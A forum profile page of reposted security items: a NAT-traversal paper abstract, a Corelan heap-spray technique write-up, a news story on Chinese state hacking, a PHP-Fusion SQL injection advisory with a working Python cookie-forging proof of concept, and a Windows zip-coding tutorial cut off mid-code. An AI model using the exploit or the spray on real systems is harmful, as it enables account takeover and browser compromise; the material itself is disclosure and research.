Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. "What is this sorcery?"
  2. Autonomous NAT Traversal Andreas Muller Nathan Evans Christian Grothoff Network Architectures and Services Technische Universit¨at M¨unchen Email: fmueller,evans,grothoffg@net.in.tum.de Samy Kamkar Email: samy@samy.pl Abstract—Traditional NAT traversal methods require the help of a third party for signalling. This paper investigates a new autonomous method for establishing connections to peers behind NAT. The proposed method for autonomous NAT traversal uses fake ICMP messages to initially contact the NATed peer. This paper presents how the method is supposed to work in theory, discusses some possible variations, introduces various concrete implementations of the proposed approach and evaluates empirical results of a measurement study designed to evaluate the efficacy of the idea in practice. I. INTRODUCTION A large fraction of the hosts in a typical peer-to-peer network are in home networks. Most home networks use network address translation (NAT) [1] to facilitate multiple computers sharing a single global public IP address, to enhance security or simply because the provider’s hardware often defaults to this configuration. Recent studies have reported that up to 70% of users access P2P networks from behind a NAT system [2]. This creates a well-known problem for peer-to-peer networks since it is not trivial to initiate a connection to a peer behind NAT. For this paper, we will use the term server to refer to a peer behind NAT and the term client for any other peer trying to initiate a connection to the server. Unless configured otherwise (protocols such as the Internet Gateway Device Protocol [3] are counted as configuration in this context), almost all NAT implementations refuse to forward inbound traffic that does not correspond to a recent matching outbound request. This is not primarily an implementation issue: if there are multiple hosts in the private network, the NAT is likely unable to tell which host is the intended recipient. Configuration of the NAT is not always an alternative; problems range from end-user convenience and capabilities of the specific NAT implementation to administrative policies that may prohibit changes to the NAT configuration (for example, due to security concerns). Since NAT systems prohibit inbound requests that do not match a previous outbound request, all existing NAT traversal techniques (aside from those changing the configuration of the NAT system) that we are aware of require some amount of active facilitation by a third party [4], [5]. The basic approach in most of these cases is that the server in the private network behind the NAT is notified by the third party that the client would like to establish a connection. The server then initiates the connection to the client. This requires that the server maintains a connection to a third party, that the client is able to locate the responsible third party and that the third party acts according to a specific protocol. The goal of this paper is autonomous NAT traversal, meaning NAT traversal without a third party. Using third parties increases the complexity of the software and potentially introduces new vulnerabilities. For example, if anonymizing peer-to-peer networks (such as GNUnet [6] or Tor [7]) used third parties for NAT traversal, an attacker may be able to monitor connections or even traffic volumes of peers behind NATs which in turn might enable deanonymization attacks [8], [9]. Another problem is that the decrease in available globally routable IPv4 addresses [10] will in the near future sharply reduce the fraction of hosts that would be able to facilitate NAT traversal. Download: http://samy.pl/pwnat/pwnat.pdf
  3. DEPS – Precise Heap Spray on Firefox and IE10 Published February 19, 2013 | By Corelan Team (corelanc0d3r) Introduction Last week, while doing my bi-weekly courseware review and update, I discovered that my heap spray script for Firefox 9 no longer works on recent versions. Looking back at the type of tricks I had to use to make a precise spray work under Firefox 9 and IE 9, and realizing that these changes don’t seem to have any useful effect on Firefox or IE 10, I think it’s fair to state that we can no longer rely on classic BSTR string allocations to perform a precise heap spray, or any heap spray for that matter. On top of that, the Firefox 9 heap spray was not only ugly, it was also pretty slow, which might be a deal-breaker for reliable exploitation. If the user gets the chance to kill the browser process before the spray has finished and the bug is triggered, you won’t be greeted with a shell. Of course, that doesn’t mean it is now impossible to perform a precise heap spray in modern browsers. Federico Muttis and Anibal Sacco from Core security recently published the results of their research on HTML5 spraying, which offers a great way to take advantage of new technology to perform heap allocations in modern browsers. The advantage of their technique is that HTML5 is not limited to just IE or Firefox, since it also works on Webkit based browsers such as Google Chrome and Safari. Federico & Anibal were kind enough to provide me with the source of their script to create html5 based spray routines. You can download the script at Files - Heap Spray Scripts - Corelan Team (HTML5Spray.zip). Anyways, I decided not to use HTML5 and wanted to try something different. It’s a well known fact that the use of BSTR strings to replace a freed object in a browser Use-After-Free scenario can be problematic. It is generally expected to find the vtable pointer at the top of the object, and that is also exactly where the BSTR header field will be placed after you have replaced the freed object with a BSTR string. In other words, although you might be able to replace the object, you won’t be able to fake the vtable pointer with something you control. A common technique to overcome this issue is based on DOM elements. This technique requires you to create one or more DOM elements (image, div, etc), and then set a property, containing the payload you want to write into the freed object. For images, this property could be .src or .title. For div objects, .className might be a solid option. Anyways, since this allows you to cause precise allocations (providing that you take the terminating null byte into account, of course), I wanted to see if it would be possible to use the same technique for a full blown heap spray. After playing with some sizes, I managed to put a script together that works on Firefox, and all versions of Internet Explorer. On top of that, performance is a lot better than my older heapspray scripts for FF9 and IE9, and because I’m hitting a higher memory region with this type of spray, we can also bypass the default EMET heapspray protection. The technique The idea is based on creating a large number of DOM elements and setting an element property to a specific value. I have tested this concept using button elements, but I don’t see a reason why this would be limited to buttons only. You might even be able to use a mix of various elements and play with the size where needed. For that reason, I’ve decided to name this technique "DOM Element Property Spray". Since there seems to be a strong desire in the infosec industry to create confusing 4-letter abbreviations, I decided to name this technique "DEPS". If your favorite security appliance claims to prevent DEPS, you’ll know what it is. Or not. Again, the use of DOM elements to cause precise allocations is not new, but I hadn’t seen a heap spray based on this concept. In short, the DEPS technique is based on 4 steps: put a div element on the page Create a number of buttons set the title property with your payload and use substring() to make sure it has the desired length add the button to the div The script This is what the basic script looks like: You can get a copy of the scripts used in this post here: Files - Heap Spray Scripts - Corelan Team (deps_corelan_ff_ie_spray.zip). The archive password is ‘infected’ (without the quotes). As you can see, this script no longer focuses on getting the start of a ROP chain positioned at 0x0c0c0c0c. Since we can no longer execute code directly (without disabling DEP first), and use 0c0c0c0c as the target for vtable dereferences and nops at the same time, the use of 0x0c0c0c0c as a target has pretty much lost its true value. On top of that, our target address doesn’t really need to consist of 4 times the same byte. Allocations should be 4 byte aligned, so we should not have any issues with hitting the right spot every time. The div element in the document is used as a placeholder, so the div_container.appendChild() can store the elements and their title property in memory and keep them there. Due to the size of the allocations, all chunks are part of the VirtualAllocdBlocks list of the default heap. The current version of the script targets 0×20202210 or 0×20302210 on Firefox (depending on the number of iterations you’re using – 0×20302210 has been pretty reliable for me so far), and 0×20202228 or 0×20302228 on IE8/9/10 (XP/Win7/Win8). This is quite interesting, because we no longer need to differentiate between IE versions to deliver a precise heap spray. Based on my tests, I found 0×20302228 to be more reliable than 0×20202228. Of course, it is very easy to change the offset value in the script and move the actual start of the ROP chain to another address, if that is what you need or want to do. A convenient side effect of this higher memory range is that we’re hitting a higher memory address region, one that contains addresses that consist of ascii printable characters, which might offer some additional benefits in case you’ve found an oldskool stack buffer overflow that has tight character restrictions. If you want to use a different element property, you could try to play with obj.style.fontFamily as well. In fact, you can even set 2 different properties at once, which should decrease the number of iterations you need in order to get to a predictable address: Finally, this technique doesn’t require any data randomization at this point, nor ugly tricks with variable names and eval(), which also helps ensuring the spray can be delivered in a relatively fast way. Test environment In all cases, the latest 32bit version of a specific browser was used, on fully patched versions of the OS. Tests were performed on virtual machines (VirtualBox, VMWare) and physical machines, and verified to work after reboots. All tests on Windows 7 were performed with EMET 3.5 enabled & configured to detect/prevent heapsprays: In Windows 8, tests were performed on a default IE10 installation. Results Firefox 18 on Windows 7: (this works on OS X too) IE8 on Windows XP: IE9 on Windows 7: IE10 on Windows 8: In all cases, the heap layout of a chunk that contains the string "AAAABBBBCCCCDDDD…" (which is basically just the indication of where the ROP chain is placed) looks like this: VirtualAlloc Chunk header (0×20 bytes) Junk (spaces) ROP chain (AAAABBBBCCCCDDDD…) Shellcode (\xcc\xcc\xcc\xcc…) Junk (spaces) Spray analysis What exactly happens when you run the basic version of the DEPS heap spray ? Let’s do some tracing & logging on Windows XP SP3, IE8. First of all, let’s change the core routine and insert some calls to Math.atan2() to interact with WinDBG from Javascript: for (var i = 0; i < 0x500; i++) { Math.atan2(0xbabe, " [*] Creating object button...."); var obj = document.createElement("button"); Math.atan2(0xbabe, " [*] Assigning data to title."); obj.title = data.substring(0,0x40000-0x58); //aligned spray Math.atan2(0xbabe, " [*] Let's AppendChild"); div_container.appendChild(obj); } The following breakpoint in WinDBG allows you to print out the Math.atan2() messages: bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" Next, set the following breakpoint to see when a button gets created: bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;" When you run the html page, WinDBG should display the "Creating object button" message and break at the CreateElement function: [*] Creating object button.... Object at 00214dc0 eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190 eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CButton::CreateElement+0x16: 639944f7 8bf0 mov esi,eax Set a breakpoint at RtlAllocateHeap to log all subsequent allocations and print out the call stack. This should give us all allocation information until the next button gets created. bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g" With this breakpoint set, continue to run the process. You will now get information about all allocations within one iteration. One single iteration creates these allocations: Allocate at 0293d588 Allocate at 0293ea00 Allocate at 02866780 Allocate at 039b0020 <--- First interesting allocation Allocate at 0293eb68 Allocate at 03b50020 <--- Second interesting allocation Allocate at 02917718 Allocate at 001eff28 Allocate at 001effd8 Allocate at 00217d18 Allocate at 0293d568 Allocate at 002150c0 The first interesting allocation happens right after the debugging message "Assigning data to title." It has the following callstack: Allocate at 039b0020 ChildEBP RetAddr 020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac 020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f 020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e 020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c 020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8 020bf3f4 633a8561 jscript!JsStrSubstring+0x20 020bf45c 633a7127 jscript!NatFncObj::Call+0x103 020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2 020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c 020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8 020bf590 633a77ff jscript!VAR::InvokeByName+0x170 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 Since the first allocation uses jscript!JsStrSubstring, I assume this is triggered by this JScript code in the spray: data.substring(0,0x40000-0x58); The second allocation occurs right before the debugging message "Let’s AppendChild". It has the following callstack: Allocate at 03b50020 ChildEBP RetAddr 020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac 020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154 020bf1c8 63641259 mshtml!CAttrArray::Set+0x174 020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51 020bf224 63651849 mshtml!CAttrArray::SetString+0x44 020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69 020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200 020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64 020bf2e8 6366906f mshtml!CBase::put_String+0x29 020bf318 636430c9 mshtml!GS_BSTR+0x1ab 020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1 020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d 020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d 020bf458 633a6d37 mshtml!PlainInvokeEx+0xea 020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf594 633a9f3c jscript!InvokeDispatchEx+0x98 020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135 020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27 Since this allocation uses SetString, I assume this is what actually assigns data to the property. The combination of the use of substring, using a DOM element property, and adding the element to a div that was created in the html document earlier, ensures that copies of the data are created, and allocated in memory. The string created with substring will eventually disappear, but the SetString() allocated data remains in memory. (thanks sinn3r for this analysis) © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
  4. [h=1]Chinese Army Unit Is Seen as Tied to Hacking Against U.S.[/h] This 12-story building on the outskirts of Shanghai is the headquarters of Unit 61398 of the People’s Liberation Army. China’s defense ministry has denied that it is responsible for initiating digital attacks. [h=6]By DAVID E. SANGER, DAVID BARBOZA and NICOLE PERLROTH[/h] [h=6]Published: February 18, 2013[/h] On the outskirts of Shanghai, in a run-down neighborhood dominated by a 12-story white office tower, sits a People’s Liberation Army base for China’s growing corps of cyberwarriors. The building off Datong Road, surrounded by restaurants, massage parlors and a wine importer, is the headquarters of P.L.A. Unit 61398. A growing body of digital forensic evidence — confirmed by American intelligence officials who say they have tapped into the activity of the army unit for years — leaves little doubt that an overwhelming percentage of the attacks on American corporations, organizations and government agencies originate in and around the white tower. An unusually detailed 60-page study, to be released Tuesday by Mandiant, an American computer security firm, tracks for the first time individual members of the most sophisticated of the Chinese hacking groups — known to many of its victims in the United States as “Comment Crew” or “Shanghai Group” — to the doorstep of the military unit’s headquarters. The firm was not able to place the hackers inside the 12-story building, but makes a case there is no other plausible explanation for why so many attacks come out of one comparatively small area. “Either they are coming from inside Unit 61398,” said Kevin Mandia, the founder and chief executive of Mandiant, in an interview last week, “or the people who run the most-controlled, most-monitored Internet networks in the world are clueless about thousands of people generating attacks from this one neighborhood.” Other security firms that have tracked “Comment Crew” say they also believe the group is state-sponsored, and a recent classified National Intelligence Estimate, issued as a consensus document for all 16 of the United States intelligence agencies, makes a strong case that many of these hacking groups are either run by army officers or are contractors working for commands like Unit 61398, according to officials with knowledge of its classified content. Mandiant provided an advance copy of its report to The New York Times, saying it hoped to “bring visibility to the issues addressed in the report.” Times reporters then tested the conclusions with other experts, both inside and outside government, who have examined links between the hacking groups and the army (Mandiant was hired by The New York Times Company to investigate a sophisticated Chinese-origin attack on its news operations, but concluded it was not the work of Comment Crew, but another Chinese group. The firm is not currently working for the Times Company but it is in discussions about a business relationship.) While Comment Crew has drained terabytes of data from companies like Coca-Cola, increasingly its focus is on companies involved in the critical infrastructure of the United States — its electrical power grid, gas lines and waterworks. According to the security researchers, one target was a company with remote access to more than 60 percent of oil and gas pipelines in North America. The unit was also among those that attacked the computer security firm RSA, whose computer codes protect confidential corporate and government databases. Contacted Monday, officials at the Chinese embassy in Washington again insisted that their government does not engage in computer hacking, and that such activity is illegal. They describe China itself as a victim of computer hacking, and point out, accurately, that there are many hacking groups inside the United States. But in recent years the Chinese attacks have grown significantly, security researchers say. Mandiant has detected more than 140 Comment Crew intrusions since 2006. American intelligence agencies and private security firms that track many of the 20 or so other Chinese groups every day say those groups appear to be contractors with links to the unit. While the unit’s existence and operations are considered a Chinese state secret, Representative Mike Rogers of Michigan, the Republican chairman of the House Intelligence Committee, said in an interview that the Mandiant report was “completely consistent with the type of activity the Intelligence Committee has been seeing for some time.” Full article: http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hacking-against-us.html?_r=0
  5. PHP-Fusion 7.02.05 SQL Injection From: Krzysztof Katowicz-Kowalewski <vnd () vndh net> Date: Sat, 16 Feb 2013 15:57:51 +0100 SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem. Affected file: includes/classes/Authenticate.class.php 023: define("COOKIE_USER", COOKIE_PREFIX."user"); 024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin"); 147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]); 150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 153: $result = dbquery( 154: "SELECT * FROM ".DB_USERS." 155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0' 156: LIMIT 1" 157: ); 195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]); 197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 200: $result = dbquery( 201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS." 202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0' 203: LIMIT 1" 204: ); # Proof of Concept # PHP-Fusion 7.02.05 # Authentication spoofing # Author: vnd at vndh.net from http import client from time import time import hashlib import hmac import re def generateCookie(address, path, userid, password = 'admin'): connection = client.HTTPConnection(address) connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid)) response = connection.getresponse() if response.status != 200: raise BaseException("bad status") cookies = response.getheader("Set-Cookie") pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE) cookiesearch = pattern.search(cookies) if cookiesearch == None: raise BaseException("bad cookie") cookiename = cookiesearch.groups() cookiename = "%suser" % cookiename[0] source = response.read() connection.close() source = source.decode("utf-8") pattern = re.compile("<!--profile_user_name-->(.*)<") username = pattern.search(source).groups() username = username[0] injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s -- " % (userid, username, password, ",0" * 15,",0" * 12) expiration = str(int(time() + 86400)) userhash = "" userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() return (cookiename, ".".join([injection, expiration, userhash])) Reference: https://vndh.net/note:php-fusion-70205-sql-injection Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264 Sursa: Bugtraq: PHP-Fusion 7.02.05 SQL Injection
  6. [h=3]Dropping Like Files – Zipping Without Libraries[/h]adeyblue @ 6:46 pm Contents: Introduction Creating the Zip File Creating the IDropTarget Doing the Zipping The ZipFileDataObject Finishing up [h=2]Introduction[/h] We haven’t been living under rocks. We know that since Windows XP, it’s had zip file extraction and creation. what it doesn’t have is a defined API so us normals can leverage it programmatically. But we have ways and means… Think about it, the usual way you interact with zip files is through the shell. You highlight a bunch a files and “Send To” a Compressed Folder or drag them into an existing folder and its done. There’s obviously some code behind that’s actually doing those things, and since you can do from ‘Open File’ dialogs and the like, it can’t be code within the Explorer executable. You can look through all the dll exports you want, but you’ll only find that MSDN isn’t sandbagging here and there are no real defined functions to create zips. What you will find in shell32 and friends are real functions and interfaces to duplicate the Shell’s methods of dragging, dropping and sending to, so that seems a good lead to follow. [h=2]Creating the Zip File[/h] There’s no point doing the equivalent of the highlighting, if we’ve nowhere to equivalently drop it on. The zip file can be created in any old way, all that matters is that exists. The method below uses the Shell interfaces to create it, both because it doesn’t seem to be too well documented how to do it that way, and because we need to use them later anyway. Several methods are available, but since zip files have been available since XP we’ll go with the most compatible. IShellFolder* pDesktopFolder = NULL; SHGetDesktopFolder(&pDesktopFolder); All interactions, using convenience functions or not, start at the desktop folder which is the root of the shell’s namespace. From there, you can navigate to other folders with the BindToObject member function. Fine and dandy, except that the function takes something called an Item-Id-List and not a human understandable path. Time to call in the big gun, namely ParseDisplayName. pDesktopFolder->ParseDisplayName( NULL, // HWND - we have no window NULL, // IBindCtx* - we have no specific parsing options to set pDirectoryOfZip, // LPWSTR - The folder that will contain our file NULL, // ULONG* - the number of characters in the folder name that were used in parsing &pPidl, // PIDLIST_RELATIVE* - the equivalent of pDirectoryOfZip in shell talk NULL // ULONG* - attributes of the object to query, we don't want to ); We now have the address of the folder, but we’re still only at the sorting office. Let’s go find the house, our SatNav is the BindToObject function. IShellFolder* pZipFileParentFolder = NULL; pDesktopFolder->BindToObject( pPidl, // PIDLIST_RELATIVE - the address of the thing to bind to NULL, // IBindCtx* - specific options for binding, we have none IID_PPV_ARGS(&pZipFileParentFolder) // REFIID & ppv - the object interface we want, and the pointer to it ); That done, pDesktopFolder can be Release-d and pPidl can be freed since we’ve finished with them. The next step is to actually create the file on the disk, for this we need to query the IShellFolder for its storage interface: IStorage* pZipFileParentFolderStorage = NULL; pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage)); In shell folder parlance, folder objects are represented by IStorage interfaces and the files within them are treated as IStream-s within that storage[1]. We could now enumerate the folder contents with pStorage->EnumElements(), or as is our want, finally and actually create the zip file with CreateStream() pZipFileParentFolderStorage->CreateStream( pZipFileName, // the name of the stream (file) to create STGM_CREATE, // flags controlling the creation of the stream, create is the only thing we need 0, 0, // next two params are reserved &pZipStream // the stream represeting the folder ); If that succeeds, we don’t need to do anything with pZipStream, just creating it is enough to put the zip file on the hard drive. It’s now ready to have stuff (pseudo) dropped on it but for that we need another interface, one that allows drag and drop simulation, IDropTarget. [h=2]Creating the IDropTarget[/h] There’s nothing really new to what we did above here. The only obstacle in our way to our goal of GetUIObjectOf() is that it also takes a ItemIdList and not a file name, but we now know how to do that. LPITEMIDLIST pZipPidl = NULL; pZipFileFolder->ParseDisplayName( NULL, NULL, pZipFileName, NULL, &pZipPidl, NULL ); IDropTarget* pDropTarget = NULL; pZipFileFolder->GetUIObjectOf( NULL, // HWND - we still don't have a window 1, // ULONG - number of itemidlists in the next parameter &pZipPidl, // LPITEMIDLIST* - array of itemidlists to get the object for IID_IDropTarget, // REFIID - id of the interface we want NULL, // UINT* - reserved parameter reinterpret_cast<void**>(&pDropTarget) // void** - array of returned interfaces, we only have one ); And that’s it, we now have a drop target interface ready to simulate the dragging and dropping [2]. The only things we need now, are the files to compress. [h=2]Doing the Zipping[/h] IDropTarget has four methods. The two most interesting ones DragEnter and Drop, take something called an IDataObject that encapsulates the thing being dropped or dragged. If you looked at the MSDN page for GetUIObjectOf, you’ll have seen that apart from telling you to do something you can’t [3], it can retrieve these IDataObject interfaces. Well, this seems simple: IDataObject* pFileData = NULL; // pseudo function, its content isn't important GetIDataObjectForFile(L"C:\\myfile.ext", &pFileData); DWORD effect = DROPEFFECT_COPY; POINTL pt = {0}; pDropTarget->DragEnter( pFileData, // IDataObject* - the thing(s) we're supposedly dragging MK_LBUTTON, // DWORD - Mouse and key flags, we pretend we're holding the left mouse button pt, // POINTL - mouse coords of the drag, pretend the we've dragged the object at {0, 0} &effect // DWORD* - the type of drag to effect, we want to copy the object into it ); effect &= DROPEFFECT_COPY; // mask off any flags offered we don't understand or want pDropTarget->Drop( pFileData, // all these parameters are the same as for DragEnter MK_LBUTTON, pt, &effect }; Gee thanks Windows, we know it’s empty that’s why we’re trying to put something in it. As is usual, the generic failure message displayed to users is horribly lacking in useful info for us developers. Fortunately, after Ok-ing the message box [4], the return value of Drop gives us a bit more of an idea of the problem. Here, it’s 0×80040064, DV_E_FORMATETC, or “Invalid FORMATETC structure”. Well, I did say a bit. In essence it means the format of the data in the IDataObject is incompatble with what’s expected by the drop target. IDataObject’s allow enumeration of their formats so we can see what we’re trying to send: Format c07d (Shell IDList Array, CFSTR_SHELLIDLIST) Format c0ad (Preferred DropEffect, CFSTR_PREFERREDDROPEFFECT) IDropTarget’s don’t though, so let’s dive into its disassembly. mov eax, [ebp+pDataObject] .... push 0Fh pop ecx mov word ptr [ebp+var_18], cx; set this word value to 0xf (15) ... lea edx, [ebp+var_18]; Get ptr to something. If it's a struct, that 15 value is the first member push edx ; send it as second argument, first in prototype, so it is a struct. A FORMATETC struct ... mov ecx, [eax] push eax ; send the this ptr as first stack argument, not counted in prototype call dword ptr [ecx+0Ch] ; call fourth function in IDataObject vtable, that's GetData(FORMATETC*, STGMEDIUM*) The zip file’s drop target looks for data in a standard clipboard format (less than CF_MAX), while the only ones being offered are registered formats (greater than 0xc000), hence the error. Format 15 is CF_HDROP, the same format as the WM_DROPFILES message provides, except in this case the HDROP handle is wrapped in the data object. The format of data represented by a HDROP handle is actually documented on MSDN so all we need to do is wrap that up in a DataObject facade and send that to DragEnter() and Drop(). [h=3]The ZipFileDataObject[/h] If we’re creating our own IDataObject, that’s nine functions that need implementing above and beyond IUnknown. Or is it. Our object only has to be read from, and only supports the one format type, that cuts the number of functions to implement to four and two of those are almost identical. Other than the interface functions; a constructor, destructor and a method to add files are also needed but all in all, the facade barely covers 70 functional lines. The constructor sets up an empty HDROP: HGLOBAL hMem; size_t curSize; LONG refCount; ZipFileDataObject() { // keep track of our big our allocation is // the two WCHARs are the double-null termination curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { // fill in the bits we need DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); // unicode filenames pFiles->fWide = TRUE; // offset of filename list, straight after the structure pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } The destructor frees this memory, and the IUnknown functions are as bog standard as they always are. The most difficult function to create is the one to add the filenames to the HDROP, and that’s not very hard at all: void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; // get a pointer to the memory char* pDataPos = static_cast<char*>(GlobalLock(hMem)); // position it at the end of the current file name list pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } IDataObject::GetData and IDataObject::GetDataHere are the nearly identical functions. The only difference been that in the former, we have to allocate the out buffer, in the latter it is already supplied. It makes sense then to have a helper function do the same heavy lifting: STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { // check for valid pointers if(!(pEtc && pStg)) { return E_POINTER; } // check the request is for something we can supply if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } // then fill in the data return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } // since the buffer is supplied here, we do some additional checks if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || // check the caller wants all the data (pEtc->dwAspect != DVASPECT_CONTENT) // and the actual data at that ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { // allocate a big enough buffer if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } // and fill in the buffer description of what type it is pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { // otherwise, check there was a passed in buffer and its big enough // for our DROPFILES and trailing filenames if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } // OK, we're good, copy over all the data PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } The two other functions are trivial to implement and just check what we can deliver STDMETHODIMP QueryGetData(FORMATETC* pEtc) { // again check the pointer if(!pEtc) { return E_POINTER; } // and if it conforms to our ideal if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { // fail if not return DV_E_FORMATETC; } // succeed if so return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } // Eschew filling in pOutEtc by using the // "It would be the same as the input one" return value return DATA_S_SAMEFORMATETC; } [h=2]Finishing Up[/h] All that’s left is to put it all together, add some file names and drop our new data object. Bing-oh no. That would be it, except for one thing. The zip folder’s DropTarget creates a new thread to do the actual zipping, unfortunately it uses the SHCreateThread function to do so. Unfortunate because that function returns neither the thread handle nor its id. Of course, with no way of being able to identify it, we, nor the zipping code can know when it has finished its work. When called from Explorer it’s no problem since that is always running, but if our program exits while the thread is in progress we could have anything from missing files to a completely corrupt zip. There’s an easy workaround for this problem, in the shape of change notifications. Set one up for size changes, and when you stop receiving them for the zip file we can be confident the process has finished. That finally gives us a fully workable program that looks something like this: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shlwapi.h> #include <shellapi.h> #include <shlobj.h> #include <ole2.h> #include <cstdio> class ZipFileDataObject : public IDataObject { HGLOBAL hMem; size_t curSize; LONG refCount; public: ZipFileDataObject() { curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); pFiles->fWide = TRUE; pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } ~ZipFileDataObject() { GlobalFree(hMem); } void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; char* pDataPos = 